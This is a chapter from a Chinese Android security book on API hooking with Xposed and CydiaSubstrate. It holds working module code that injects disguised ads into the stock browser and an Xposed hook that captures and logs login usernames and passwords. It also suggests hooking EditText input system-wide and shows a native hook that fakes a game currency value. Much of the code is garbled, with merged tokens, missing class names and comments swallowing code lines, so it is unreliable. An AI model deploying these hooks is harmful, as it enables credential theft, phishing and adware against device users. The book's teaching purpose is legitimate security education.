API Hook技术是一种用于改变API执行结果的技术,能够将系统的API函数执行重定向。一个应用程序调用的函数方法被第三方 Hook 重定向后,其程序执行流程与执行结果是无法确认的,更别提程序的安全性了。而Hook技术的出现并不是为病毒和恶意程序服务的,Hook技术更多的是应用在安全管理软件上面。但是无论怎么说,已经被Hook后的应用程序,就毫无安全可言了。

在日常工作学习中,我们希望使用Hook技术来完成某功能其实是相当烦琐的,但也并不是不可能的。我们这里没有手动地重新书写一个Hook工具,而是使用到了第三方提供的框架来做演示。Android的Hook技术虽然发展不久,但是也出现了很多的Hook框架工具。本节我们就具体介绍一下目前常用到的Hook框架。

Xposed框架是一款可以在不修改APK的情况下影响程序运行(修改系统)的框架服务,通过替换/system/bin/app_process 程序控制 zygote 进程,使 app_process 在启动过程中加载XposedBridge.jar 这个jar包,从而完成对Zygote进程及其创建的Dalvik虚拟机的劫持。基于Xposed框架可以制作出许多功能强大的模块,且在功能不冲突的情况下同时运作。此外,Xposed框架中的每一个库还可以单独下载使用,如Per App Setting(为每个应用设置单独的dpi或修改权限)、Cydia、XPrivacy(防止隐私泄露)、BootManager(开启自启动程序管理应用),对原生Launcher替换图标等应用或功能均基于此框架。

官网地址:http://repo.xposed.info/

源码地址:https://github.com/rovo89

Xposed框架是基于一个Android的本地服务应用XposedInstaller与一个提供API的jar文件来完成的。所以,安装使用Xposed框架我们需要完成以下几个步骤。

● 安装本地服务XposedInstaller

需要安装XposedInstall.apk本地服务应用,我们能够在其官网的framework栏目中找到,下载并安装。地址为:

http://repo.xposed.info/module/de.robv.android.xposed.installer

安装好后进入XposedInstaller应用程序,会出现需要激活框架的界面,如图8-5所示。这里我们点击“安装/更新”就能完成框架的激活了。部分设备如果不支持直接写入的话,可以选择“安装方式”,修改为在Recovery模式下自动安装即可。

图8-4 Xposed框架Logo

图8-5 XposedInstall应用激活界面

因为安装时会需要Root权限,安装后会启动Xposed的app_process,所以安装过程中会存在设备多次重新启动。

TIPS

 由于国内的部分ROM对Xposed不兼容,如果安装Xposed不成功的话,强制使用Recovery写入可能会造成设备反复重启而无法正常启动。

● 下载使用API库

其 API 库XposedBridgeApi-<version>.jar(version 是 XposedAPI 的版本号,如我们这里是XposedBridgeApi-54.jar)文件,我们能够在Xposed的官方支持xda论坛找到,其地址为:

http://forum.xda-developers.com/xposed/xposed-api-changelog-developer-news-t2714067

下载完毕后我们需要将 Xposed Library 复制到 lib目录(注意是 lib 目录,不是Android提供的 libs 目录),然后将这个 jar 包添加到 Build PATH 中,效果如图8-6所示。

图8-6 Android项目中的lib与libs目录截图

如果直接将jar包放置到了libs目录下,很可能会产生错误“IllegalAccessError: Class ref in pre-verified class resolved to unexpected implementation”。估计Xposed作者在其框架内部也引用了BridgeApi,这样操作可以避免重复引用。

如果使用过苹果手机的用户应该对Cydiasubstrate框架一点都不会陌生,因为Cydiasubstrate框架为苹果用户提供了越狱相关的服务框架。Cydiasubstrate原名MobileSubstrate(类库中都是以MS开头的),作者为大名鼎鼎的Jay Freeman(saurik)。当然Cydiasubstrate 也推出了Android版。Cydia Substrate是一个代码修改平台。它可以修改任何主进程的代码,不管是用Java还是C/C++(native代码)编写的。而Xposed只支持HOOK app_process中的 Java 函数,因此 Cydiasubstrate 是一款强大而实用的 HOOK工具。

图8-7 CydiaSubstrate框架Logo

官网地址:http://www.cydiasubstrate.com/

与使用Xposed框架类似,使用Cydiasubstrate框架之前我们需要配置它的使用环境,对于强大的Cydiasubstrate框架使用其实只需要配置两个地方。安装Cydiastrate框架Android本地服务,下载使用Cydiastrate提供的API。

● 安装Cydiastrate框架Android本地服务

一个就是在Android设备中安装Cydiasubstrate框架的本地服务应用substrate.apk,我们可以在其官网下载到。

官方下载地址为:http://www.cydiasubstrate.com/download/com.saurik.substrate.apk

当然,我们安装substrate后,需要“Link Substrate Files”(连接本地的Substrate服务文件),这一步是需要Root权限的,连接后还需要重启设备才能够生效。Substrate服务设置应用如图8-8所示。

图8-8 Substrate应用Link后界面

● 下载使用Cydiasubstrate库

Cydiasubstrate官方建议以在Android SDK Manager中添加它们插件地址的方式进行更新下载,如图8-9所示,在用户自定义网址中添加http://asdk.cydiasubstrate.com/addon.xml

图8-9 在Android SDK Manager中添加Cydiasubstate地址

通过使用Android SDK Manager工具下载完Cydiasubstrate框架后,其存储于目录${ANDROID_ HOME}\sdk\extras\saurikit\cydia_substrate下。但是,由于Android SDK Manager在国内使用起来存在很多的限制,下载的时候也不是非常稳定,所以还是建议大家直接去官网下载开发库。

官方下载地址为:http://asdk.cydiasubstrate.com/zips/cydia_substrate-r2.zip

下载完成后,将得到的所有文件(很多的jar包与so库),都复制到Android项目下的libs文件夹中,就可以直接使用了。效果如图8-10所示。

图8-10 Android工程中的libs目录截图

其中的substrate.h头文件与lib文件夹下的so文件是提供在使用NDK进行原生Hook程序开发中的函数支持库。

TIPS

 CydiaSubstrate框架对于inline Hook的操作目前还存在一些bug,使用的时候可能会出现崩溃的现象,部分使用了国内定制的ROM的设备在使用CydiaSubstrate框架时会出现设备无法重新启动或无法Hook的现象。

ADBI(全称为:Android Dynamic Binary Instrumentation Toolkit)即Android的动态二进制指令工具包,兼容Android中的ARM与Thmub指令,提供动态库注入与函数Hook(包括inline Hook)。当然,其也提供了Java层的类似功能,即DDI(Dynamic Dalvik Instrumentation Toolkit)框架。

ADBI/DDI框架与Xposed和CydiaSubstrate框架最大的区别是,它是一个命令行工具,使用起来更加的简单方便。我们可以在Github上找到其源码,地址为:

ADBI:https://github.com/crmulliner/adbi

DDI:https://github.com/crmulliner/ddi

前面我们介绍过Cydiasubstrate框架提供在Java层Hook的能力,其中主要是提供了三个比较重要的方法,MS.hookClassLoad、MS.hookMethod、MS.moveUnderClassLoader。三个方法的具体介绍如表8-2所示。

表8-2 CydiaSubstrate中常用到的Java Hook方法

方法名

说明

MS.hookClassLoad

拿到指定Class载入时的通知

MS.hookMethod

使用一个Java方法去替换另一个Java方法

MS.moveUnderClassLoader

使用不同的ClassLoder重载对象

几个方法的具体参数与返回值,我们可以看如下的方法具体定义。

 * Hook一个指定的Class
 * 
 * @paramname Class的包名+类名,如android.content.res.Resources
 * @paramhook 成功Hook一个Class后的回调
 */
voidhookClassLoad(String name, MS.ClassLoadHook hook);
/**
 * Hook一个指定的方法,并替换方法中的代码
 * 
 * @param_class Hook的calss
 * @parammember Hook class的方法参数
 * @paramhook 成功Hook方法后的回调
 * @paramold Hook前方法,类似C中的方法指针
 */
voidhookMethod(Class _class, Member member, MS.MethodHook hook, MS.MethodPointer old);
/**
 * Hook一个指定的方法,并替换方法中的代码
 * 
 * @param_class Hook的calss
 * @parammember Hook class的方法参数
 * @paramalteration
 */
voidhookMethod(Class _class, Member member, MS.MethodAlteration alteration);
/**
 * 使用一个ClassLoader重载一个对象
 * 
 * @paramloader 使用的ClassLoader
 * @paramobject 待重载的对象
 * @return重载后的对象
 */
<T>TmoveUnderClassLoader(ClassLoader loader, T object); 

说了这么多我们下面实战一下,如我们希望Hook Android系统中的Resources类,并将系统中的颜色都改为紫罗兰色。思路很简单,我们只需要拿到系统中Resources类的getColor方法,将其返回值做修改即可。

使用substrate来实现分为以下几步。

1.在AndroidManifest.xml文件中配置主入口

需要在AndroidManifest.xml中声明cydia.permission.SUBSTRATE权限,声明substrate的主入口。具体代码如下所示。

<!-- 加入substrate权限 -->
<uses-permission android:name="cydia.permission.SUBSTRATE" />
<application
    android:allowBackup="true"
    android:icon="@drawable/ic_launcher"
    android:label="@string/app_name"
    android:theme="@style/AppTheme" >
<!-- 声明substrate的注入口味Main类 -->
<meta-data
       android:name="com.saurik.substrate.main"
       android:value=".Main" />
</application>

2.新创建主入口Main.Java类

上一步中已经声明了主入口为Main类,所以我们需要在对应的目录下新建一个Main类,且需要实现其initialize方法。具体实现如下:

publicclass {
   /**
    * substrate 初始化后的入口
    */
staticvoidinitialize() {
  }
}

3.Hook系统的Resources,Hook其getColor方法,修改为紫罗兰

使用MS.hookClassLoad方法Hook系统的Resources类,并使用MS.hookMethod方法hook其getColor方法,替换其方法。具体实现如下所示。

importJava.lang.reflect.Method;
importcom.saurik.substrate.MS;
publicclass {
   /**
    * substrate 初始化后的入口
    */
staticvoidinitialize() {
    // hook 系统的 Resources类
    MS.hookClassLoad("android.content.res.Resources", newMS.ClassLoadHook() {
      // 成功hook resources类
publicvoidclassLoaded(Class<?> resources) {
        // 获取 Resources类中的 getColor方法
        Method getColor;
try{
          getColor = resources.getMethod("getColor", Integer.TYPE);
        } catch(NoSuchMethodException e) {
          getColor = null;
        }
if(getColor != null) {
          // Hook前的原方法
finalMS.MethodPointer old = newMS.MethodPointer();
          // hook Resources类中的getColor方法
          MS.hookMethod(resources, getColor, newMS.MethodHook() {
publicObject invoked(Object resources, Object...args) throwsThrowable {
intcolor = (Integer) old.invoke(resources, args);
              // 将所有绿色修改成了紫罗兰色
returncolor & ~0x0000ff00 | 0x00ff0000;
            }
          }, old);
        }
      }
    });
  }
}

4.安装、重启、验证

因为我们的应用是没有Activity,只存在substrate的,所以安装后substrate就会自动地执行了。重启后,我们打开浏览器引用,发现颜色已经改变了,如图8-11所示。

阅读了本例之后,读者们是不是发现使用了CydiaSubstrate框架后我们Hook系统中的一些Java API并不是什么难事?上面的例子我们只是简单地修改了Resources中的getColor方法,并没有涉及到系统与应用的安全。但是,如果开发者直接Hook系统安全方面比较敏感的方法,如TelephonyManager 类中getDeviceId方法、短信相关的方法或一些关键的系统服务中的方法,那么后果是不堪想象的。

图8-11 Hook系统Resources的浏览器前后界面截图

从上面的例子我们可以看出来,使用Cydiasubstrate框架我们能够任意地Hook系统中的Java API,当然其中也用到了很多的反射机制,那么除了系统中给开发者提供的API以外,我们能否也Hook应用程序中的一些方法呢?答案是肯定的。下面我们就以一个实际的例子讲解一下如何Hook一个应用程序。

下面我们针对Android操作系统的浏览器应用,Hook其首页Activity的onCreate方法(其他方法不一定存在,但是onCreate方法一定会有),并在其中注入我们的广告。根据上面对Cydiasubstrate的介绍,我们有了一个简单的思路。

首先,我们根据某广告平台的规定,在我们的AndroidManifest.xml文件中填入一些广告相关的ID,并且在AndroidManifest.xml文件中填写一些使用Cydiasubstrate相关的配置与权限。当然,我们还会声明一个广告的Activity,并设置此Activity为背景透明的Activity,为什么设置为透明背景的Activity,原理如图8-12所示。

图8-12 注入广告Activity原理图

其AndroidManifest.xml文件的部分内容如下所示。

<!-- 广告相关的权限 -->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission
android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.GET_TASKS" />
<!-- 加入substrate权限 -->
<uses-permission android:name="cydia.permission.SUBSTRATE" />
<application   android:allowBackup="true"   android:icon="@drawable/ic_launcher"   android:label="@string/app_name"   android:theme="@style/AppTheme" >
<!-- 广告相关参数 --> <meta-data     android:name="App_ID"     android:value="c62bd976138fa4f2ec853bb408bb38af" /> <meta-data     android:name="App_PID"     android:value="DEFAULT" /> <!-- 声明substrate的注入口为Main类 --> <meta-data     android:name="com.saurik.substrate.main"     android:value="com.example.hookad.Main" />
<!-- 透明无动画的广告Activity --> <activity     android:name="com.example.hookad.MainActivity"     android:theme="@android:style/Theme.Translucent.NoTitleBar" > <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <!-- 广告的action --> <action android:name="com.example.hook.AD" /> </intent-filter> </activity> </application>

对于Cydiasubstrate的主入口Main类,依照之前的步骤新建一个包含有initialize方法的Main类。这个时候我们希望使用MS.hookClassLoad方式找到浏览器主页的Activity名称,这里我们在adb shell下使用dumpsys activity命令找到浏览器主页的Activity名称为com.android.browser.BrowserActivity,如图8-13所示。

图8-13 使用dumpsys activity查看当前activity名称

使用MS.hookClassLoad方法获取了BrowserActivity之后再hook其onCreate方法,在其中启动一个含有广告的Activity。Main类的代码如下所示。

publicclass {
  /**    * substrate 初始化后的入口    */ staticvoidinitialize() {
    //Hook 浏览器的主Activity,BrowserActivity     MS.hookClassLoad("com.android.browser.BrowserActivity", newMS. ClassLoadHook() { publicvoidclassLoaded(Class<?> resources) {
        Log.e("test", "com.android.browser.BrowserActivity");         // 获取BrowserActivity的onCreate方法         Method onCreate; try{           onCreate = resources.getMethod("onCreate", Bundle.class);         } catch(NoSuchMethodException e) {           onCreate = null;         }
if(onCreate != null) { finalMS.MethodPointer old = newMS.MethodPointer();           // hook onCreate方法           MS.hookMethod(resources, onCreate, newMS.MethodHook() { publicObject invoked(Object object, Object...args) throwsThrowable {               Log.e("test", "show ad"); // 执行Hook前的onCreate方法,保证浏览器正常启动               Object result = old.invoke(object, args); // 没有Context               //执行一个shell启动我们的广告Activity               CMD.run("am start -a com.example.hook.AD");
returnresult;             }           }, old);         }       }     });   } }

对于启动的广告MainActivity,在其中会弹出一个插屏广告,当然也可以是其他形式的广告或者浮层,内容比较简单这里不做演示了。对整个项目进行编译,运行。这个时候我们重新启动Android自带的浏览器的时候发现,浏览器会弹出一个广告弹框,如图8-14所示。

从上面的图片我们可以看出来了,之前我们设置插屏广告MainActivity为无标题透明(Theme.Translucent.NoTitleBar)就是为了使弹出来的广告与浏览器融为一体,让用户感觉是浏览器弹出的广告。这也是恶意广告程序为了防止自身被卸载掉的一些通用隐藏手段。

这里演示的注入广告是通过Hook指定的Activity中的onCreate方法来启动一个广告Activity的。当然,这里我们演示的Activity只是简单地弹出了一个广告。如果启动的Activity带有恶意性,如将Activity做成与原Activity一模一样的钓鱼Activity,那么对于移动设备用户来说是极具欺骗性的。

图8-14 Hook浏览器弹出广告

看了上面的两个Hook例子,很多读者应该都能够了解了Hook所带来的巨大危害性,特别是针对一些有目的性的Hook。例如我们常见的登录劫持,就是使用到了Hook技术来完成的。那么这个登录劫持是如何完成的呢?下面我们就具体来看看,一个我们在开发中常见到的登录例子。首先我们看看一个常见的登录界面是什么样子的,图8-15所示是一个常见的登录页面。

图8-15 一个登录界面demo

其对应的登录流程代码如下所示。

// 登录按钮的onClick事件
mLoginButton.setOnClickListener(newOnClickListener() {
  @Override   publicvoidonClick(View v) {   // 获取用户名     String username = mUserEditText.getText() + ""; //获取密码     String password = mPasswordEditText.getText() + "";
if(isCorrectInfo(username, password)) {       Toast.makeText(MainActivity.this, "登录成功!", Toast.LENGTH_LONG).show();     } else{       Toast.makeText(MainActivity.this, "登录失败!", Toast.LENGTH_LONG).show();     }   } });

我们会发现,登录界面上面的用户信息都存储在EditText控件上,然后通过用户手动点击“登录”按钮才会将上面的信息发送至服务器端去验证账号与密码是否正确。这样就很简单了,黑客们只需要找到开发者在使用EditText控件的getText方法后进行网络验证的方法,Hook该方法,就能劫持到用户的账户与密码了。具体流程如图8-16所示。

图8-16 App登录劫持流程

TIPS

 当然,我们也可以仿照上一个例子,做一个一模一样的Activity,再劫持原Activity优先弹出来,达到欺骗用户获取密码的目的。

明白了原理下面我们就实际地操作一次,这里我们选择使用Xposed框架来操作。使用Xposed进行Hook操作主要就是使用到了Xposed中的两个比较重要的方法,handleLoadPackage获取包加载时的回调并拿到其对应的classLoader,findAndHookMethod对指定类的方法进行Hook。它们的详细定义如下所示。

/**
  * 包加载时的回调
   */
  publicvoidhandleLoadPackage(finalLoadPackageParam lpparam) 
  /**
   * Xposed提供的Hook方法
   * 
   * @paramclassName 待Hook的Class
   * @paramclassLoader classLoader
   * @parammethodName 待Hook的Method
   * @paramparameterTypesAndCallback hook回调
   * @return
   */
Unhook findAndHookMethod(String className, ClassLoader classLoader, String methodName, Object... parameterTypesAndCallback) 

当然,我们使用Xposed进行Hook也分为如下几个步骤。

1.在AndroidManifest.xml文件中配置插件名称与Api版本号

<application
    android:allowBackup="true"
    android:icon="@drawable/ic_launcher"
    android:label="@string/app_name"
    android:theme="@style/AppTheme" >
<meta-data       android:name="xposedmodule"       android:value="true" /> <!-- 模块描述 --> <meta-data       android:name="xposeddescription"       android:value="一个登录劫持的样例" /> <!-- 最低版本号 --> <meta-data       android:name="xposedminversion"       android:value="30" /> </application>

2.新创建一个入口类继承并实现IXposedHookLoadPackage接口

如下操作,我们新建了一个com.example.loginhook.Main的类,并实现IXposedHookLoadPackage接口中的handleLoadPackage方法,将非com.example.login包名的应用过滤掉,即我们只操作包名为com.example.login的应用,如下所示。

publicclass implementsIXposedHookLoadPackage {
  /**    * 包加载时的回调    */ publicvoidhandleLoadPackage(finalLoadPackageParam lpparam) throwsThrowable {     // 将包名不是 com.example.login 的应用剔除掉 if(!lpparam.packageName.equals("com.example.login")) return;     XposedBridge.log("Loaded app: " + lpparam.packageName);   } }

3.声明主入口路径

需要在assets文件夹中新建一个xposed_init文件,并在其中声明主入口类。如这里我们的主入口类为com.example.loginhook.Main,查看其内容截图如图8-17所示。

图8-17 xposed_init内容截图

4.使用findAndHookMethod方法Hook劫持登录信息

这是最重要的一步,我们之前所分析的都需要到这一步进行操作。如我们之前所分析的登录程序,我们需要劫持就是需要Hook其com.example.login.MainActivity中的isCorrectInfo方法。我们使用Xposed提供的findAndHookMethod直接进行MethodHook操作(与Cydia很类似)。在其Hook回调中使用XposedBridge.log方法,将登录的账号密码信息打印至Xposed的日志中。具体操作如下所示。

importstaticde.robv.android.xposed.XposedHelpers.findAndHookMethod;
publicclass implementsIXposedHookLoadPackage {
  /**    * 包加载时的回调    */ publicvoidhandleLoadPackage(finalLoadPackageParam lpparam) throwsThrowable {
    // 将包名不是 com.example.login 的应用剔除掉 if(!lpparam.packageName.equals("com.example.login")) return;     XposedBridge.log("Loaded app: " + lpparam.packageName);
    // Hook MainActivity中的isCorrectInfo(String,String)方法 findAndHookMethod("com.example.login.MainActivity", lpparam.classLoader, "isCorrectInfo", String.class,         String.class, newXC_MethodHook() {
          @Override protectedvoidbeforeHookedMethod(MethodHookParam param) throwsThrowable {             XposedBridge.log("开始劫持了~");             XposedBridge.log("参数1 = " + param.args[0]);             XposedBridge.log("参数2 = " + param.args[1]);           }
          @Override protectedvoidafterHookedMethod(MethodHookParam param) throwsThrowable {             XposedBridge.log("劫持结束了~");             XposedBridge.log("参数1 = " + param.args[0]);             XposedBridge.log("参数2 = " + param.args[1]);           }         });   } }

5.在XposedInstaller中启动我们自定义的模块

编译后安装在Android设备上的模块应用程序不会立即生效,我们需要在XpasedInstaller模块选项中勾选待启用的模块才能让其正常地生效,如图8-18所示。

6.重启验证

重启Android设备,进入XposedInstaller查看日志模块,因为我们之前使用的是XposedBridge.log方法打印log,所以log都会显示在此处。如图8-19所示,我们发现我们需要劫持的账号密码都显示在此处。

图8-18 Xposed框架加载模块界面

图8-19 XPosed框架日志界面

TIPS

 这里我们是通过逆向分析该登录页面的登录判断调用函数来完成Hook与劫持工作的。有些读者应该想出来了,我们能不能直接对系统中提供给我们的控件EditText(输入框控件)中的getText()方法进行Hook呢?这样我们就能够对系统中所有的输入进行监控劫持了。这里留给大家一个思考,感兴趣的读者可以尝试一下。

之前我们演示过了如何在Java层Hook系统的API方法,但是我们都知道很多安全级别较高的操作我们都不会在Java层来完成,而且Java层很多的API都是通过JNI的方式在Native层完成的,所以对Java层的API方法Hook意义不是很大。本节我们就具体来说说在Android中如何使用CydiaSubstrate框架完成Native层的Hook操作。

对于CydiaSubstrate框架来说,其给我们提供了类似在Java中的API方法,如在Native层的MSJavaHookClassLoad函数(类似Java中的hookClassLoad方法)、MSJavaHookMethod函数(类似Java中的hookMethod)。作者的意图就是为了让我们能够在Native层使用JNI完成Java函数的Hook。其中两个函数的具体定义如下:

/**
* 通过JNI Hook Java中的ClassLoad
 *
 * @jni jni指针
 * @name 待Hook的类,字符串形式
 * @callback Hook后的回调
 * @data 自定义参数数据
 */
voidMSJavaHookClassLoad(JNIEnv *jni, constchar*name, void(*callback)(JNIEnv *, jclass, void*), void*data);
/** * 通过JNI Hook Java中的指定方法 * * @jni jni指针 * @_class jclass * @methodId 待Hook方法ID * @hook Hook后待替换的函数 * @old Hook前原函数的指针 */ voidMSJavaHookMethod(JNIEnv *jni, jclass _class, jmethodID methodId, void*hook, void**old);

上述的两个函数确实比较有用,但是却不是我们最想要的结果。在Native层Hook我们还是希望针对原生函数进行Hook操作。其实针对Native层的Hook原理,我们在本章的开头已经给各位读者介绍了。CydiaSubstrate只是针对其做了一个良好的封装操作,让我们更方便地使用。下面是CydiaSubstrate框架提供的Hook函数方法。

 * 根据具体的地址路径加载动态库
 * 类似于dlopen
 *
 * @return 动态库ImageRef
 */
MSImageRef MSGetImageByName(constchar*file);
/** * 根据指定库找到其中函数的偏移量 * 类似于dlsym * * @image 指定的动态库 * @name 指定函数的名称 * @return 指定函数的指针(兼容ARM/Thumb)找不到返回NULL */ void*MSFindSymbol(MSImageRef image, constchar*name);
/** * Hook Native层中的指定函数 * * @symbol 待Hook函数指针 * @hook Hook后待替换的函数指针 * @old Hook前函数指针 */ voidMSHookFunction(void*symbol, void*hook, void**old);

看到上面的函数说明估计读者们都跃跃欲试了,而且相信很多读者已经能够猜出如何使用CydiaSubstrate框架了。下面我们还是详细地说明一下,除了了解其提供的API函数之外,使用CydiaSubstrate框架还需要注意的一些注意事项。

MSConfig(MSFilterExecutable, "/system/bin/app_process")

好了介绍完毕,下面我们具体地操作一次。

与之前的尝试Hook系统API小节一样,如我们希望完成Hook Android系统中的Resources类,并将系统中的颜色都改为紫罗兰色。思路也是一样的,我们只需要拿到系统中Resources类的getColor方法,将其返回值做修改即可。那么我们使用原生方法实现,需要完成以下几个步骤。

1.在AndroidManifest.xml中声明权限与安装方式

因为是系统组件代码,我们需要设置其安装方式是internalOnly与hasCode=“false”,这样能够方便CydiaSubstrate框架获取我们的逻辑。当然还需要声明SUBSTRATE权限,具体的操作如下AndroidManifest.xml内容所示。

 <?xml version="1.0" encoding="utf-8"?>
<!-- internalOnly 系统内部安装,禁止安装到sd卡 --> <manifest xmlns:android="http://schemas.android.com/apk/res/android"   package="com.example.hooknative"   android:installLocation="internalOnly"   android:versionCode="1"   android:versionName="1.0" >
<!-- 声明Substrate权限 --> <uses-permission android:name="cydia.permission.SUBSTRATE" /> <uses-sdk     android:minSdkVersion="8"     android:targetSdkVersion="21" />
<!-- hasCode=false,系统组件,不运行APP中的逻辑 --> <application android:hasCode="false" > </application>
</manifest>

2.新创建项目的cpp文件,导入所需的库

这里我们新创建一个原生代码文件HookNative.cy.cpp(后缀必须为.cy.cpp,编译后则会出现.cy.so文件),并将CydiaSubstrate的库文件libsubstrate.so、libsubstrate-dvm.so、substrate.h一起复制到jni目录下(这里需要根据不同平台选择,我们这里选择的是ARM平台的库),jni目录如图8-20所示。

图8-20 项目中JNI目录截图

当然,我们还需要编写Makefile文件Android.mk,指定Substrate库参与编译,并引入一些必要的库。内容如下所示。

LOCAL_PATH := $(call my-dir)
# substrate-dvm 库 include $(CLEAR_VARS) LOCAL_MODULE:= substrate-dvm LOCAL_SRC_FILES := libsubstrate-dvm.so include $(PREBUILT_SHARED_LIBRARY)
# substrate 库 include $(CLEAR_VARS) LOCAL_MODULE:= substrate LOCAL_SRC_FILES := libsubstrate.so include $(PREBUILT_SHARED_LIBRARY)
include $(CLEAR_VARS)
LOCAL_MODULE  := HookNative.cy LOCAL_SRC_FILES := HookNative.cy.cpp
LOCAL_LDLIBS+= -L$(SYSROOT)/usr/lib -llog LOCAL_LDLIBS+= -L$(LOCAL_PATH) -lsubstrate-dvm -lsubstrate include $(BUILD_SHARED_LIBRARY)

3.载入配置文件与CydiaSubstrate入口

在HookNative.cy.cpp代码文件中,使用CydiaSubstrate框架的API,还需要在其中声明一些东西,如MSConfig配置app_process的路径,声明MSInitialize作为一个CydiaSubstrate插件的入口。我们还会应用一些开发中必要的头文件与LOG声明,如这里我们的HookNative.cy.cpp内容为:

#include<android/log.h>
#include<substrate.h>
#defineLOG_TAG "native_hook" #defineLOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
// 载入配置文件 MSConfig(MSFilterExecutable, "/system/bin/app_process")
// Cydia初始化入口 MSInitialize { }

4.Hook并替换其方法

其修改方法与上一节的Hook Java中的方法类似,我们只需要修改相关的函数完成Hook即可。如这里我们使用MSJavaHookClassLoad方法Hook系统的Resources类,并使用MSJavaHookMethod方法Hook其getColor方法,替换其方法。具体实现如下所示。

#include<android/log.h>
#include<substrate.h>
#defineLOG_TAG "native_hook"
#defineLOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
// 载入配置文件 MSConfig(MSFilterExecutable, "/system/bin/app_process")
// getColor方法Hook前原函数指针 staticjint (*_Resources$getColor)(JNIEnv *jni, jobject _this, ...);
// getColor方法Hook后被替换的函数 staticjint $Resources$getColor(JNIEnv *jni, jobject _this, jint rid) {   jint color = _Resources$getColor(jni, _this, rid); returncolor & ~0x0000ff00 | 0x00ff0000; }
// Hook住Resources class的回调 staticvoidOnResources(JNIEnv *jni, jclass resources, void*data) {   // hook其对应的getColor方法   jmethodID method = jni->GetMethodID(resources, "getColor", "(I)I"); if(method != NULL)     MSJavaHookMethod(jni, resources, method, &$Resources$getColor, &_Resources$getColor); }
// Cydia初始化入口 MSInitialize {   // Hook Java中的Resources   MSJavaHookClassLoad(NULL, "android/content/res/Resources", &OnResources); }

5.编译、安装、重启验证

同样,因为CydiaSubstrate是Hook Zygote进程,而且我们Hook的又是系统的Resources方法,所以我们希望验证都需要重启一下设备。我们可以选择CydiaSubstrate中的软重启,这里我们对系统的设置页面Hook前后都做了一个截图,对比截图如图8-21所示。

图8-21 Hook前后系统设置界面截图对比

本例中我们继续之前Java中Hook的思想,完成了在原生代码中使用JNI针对Java中的API进行Hook操作。因为,CydiaSubstrate框架中的hookClassLoad方法、hookMethod方法底层实现也是如此,所以我们使用起来很类似。

讨论了太久的Java层面的API Hook工作,也举了很多例子,本节中我们就看看如何使用CydiaSubstrate框架完成原生函数的Hook。

例如,现在我们有一个应用程序(包名为:com.example. testndklib),其主要功能就是按下界面上的“test”按钮后,通过JNI调用Native的test函数,在系统的Log中输入一个当前我有多少钱的整数值。界面如图8-22所示。

图8-22 testndklib应用界面

使用JNI调用的test函数,写在NDK库testNDKlib中,会调用一个名叫getMoney的函数,显示我当前有多少钱。当然,这里我们直接硬编码了,返回值为100的整数。中间,我们还将 getMoney 函数的地址通过 Log 打印出来。testNDKlib.cpp内容如下所示。

#include<stdio.h>
#include<jni.h>
#include<android/log.h>
extern"C" {
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, "cydia_native", __VA_ARGS__)
/** * 测试函数getMoney,返回一个整数 */ intgetMoney(void) {   // 打印方法函数地址   LOGI(" getMoney() function address in : %p\n", &getMoney);   return100; }
// 一个JNI的test函数 jstring Java_com_example_testndklib_MainActivity_test(JNIEnv* env,     jobject thiz) {   LOGI(" I have %d money.\n", getMoney());   return0; } }

运行一下程序,单击“test”按钮,拿到了系统输出的 Log,与我们输出的预期一样。笔者将DDMS上输出的Log截图,如图8-23所示。

图8-23 test函数执行后产生的Log

现在我们希望Hook此so文件,找到其中的getMoney函数,替换它让它给我们返回整数值999999(类似一个游戏修改金币的外挂)。针对之前我们讨论的Hook的原理,我们需要做如下几步操作。

(1)加载原生库,libtestNDKlib.so。

(2)找到对应的函数符号地址,MSFindSymbol。

(3)替换函数,MSHookFunction。

这里我们在完成1、2步骤的时候,我们同时也用dlopen与dlsym方式实现给大家演示一下。之前的环境配置逻辑以及权限声明逻辑与上一个例子类似,这里我们不做赘述,直接看一下cpp文件中的内容,具体如下:

#include<android/log.h>
#include<substrate.h>
#include<stdio.h>
#defineLOG_TAG "cydia_native"
#defineLOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
// 初始化CydiaSubstrate MSConfig(MSFilterExecutable, "/system/bin/app_process")
// 原函数指针 int(*original_getMoney)(void);
/** * 替换后的函数 */ intreplaced_getMoney(void) {
  LOGI(" replaced_getMoney() function address in : %p\n", &replaced_getMoney);   return999999; }
/** * * 找到指定链接库中的函数地址 * * @libraryname 链接库地址 * @symbolname 函数名 * @return 对应的函数地址 */ void* lookup_symbol(char* libraryname, char* symbolname) {   // dlopen打开指定库,获得句柄   void*imagehandle = dlopen(libraryname, RTLD_GLOBAL | RTLD_NOW);   if(imagehandle != NULL) {     // 获得具体函数     void* sym = dlsym(imagehandle, symbolname);     if(sym != NULL) {       returnsym;     } else{       LOGI("(lookup_symbol) dlsym didn't work");       returnNULL;     }   } else{     LOGI("(lookup_symbol) dlerror: %s", dlerror());     returnNULL;   } }
//初始化 MSInitialize {
  // 获得libtestNDKlib.so动态库中getMoney函数的地址   MSImageRef image;   image = MSGetImageByName(       "/data/data/com.example.testndklib/lib/libtestNDKlib.so");   void* getAgeSym = MSFindSymbol(image, "getMoney");
  // MSImageRef与 MSFindSymbol 也可以写为如下所示找到getMoney函数的地址   //   // void * getAgeSym = lookup_symbol(   //     "/data/data/com.example.testndklib/lib/libtestNDKlib.so",   //     "getMoney");

  // 将getMoney函数替换为 replaced_getMoney函数   MSHookFunction(getAgeSym, (void*) &replaced_getMoney,       (void**) &original_getMoney);
}

编译后安装到已经安装了CydiaSubstrate框架的系统中,重启Android设备。如果在整个系统编译与配置没有什么错误的情况下,我们发现CydiaSubstrate框架会打出Log说Loding什么什么 so 文件了。这里我们看见,LodinglibnativeHook.cy.so 说明我们之前开发的 Hook 其中的getMoney方法已经生效了,如图8-24所示。

图8-24 CydiaSubstrate框架加载日志

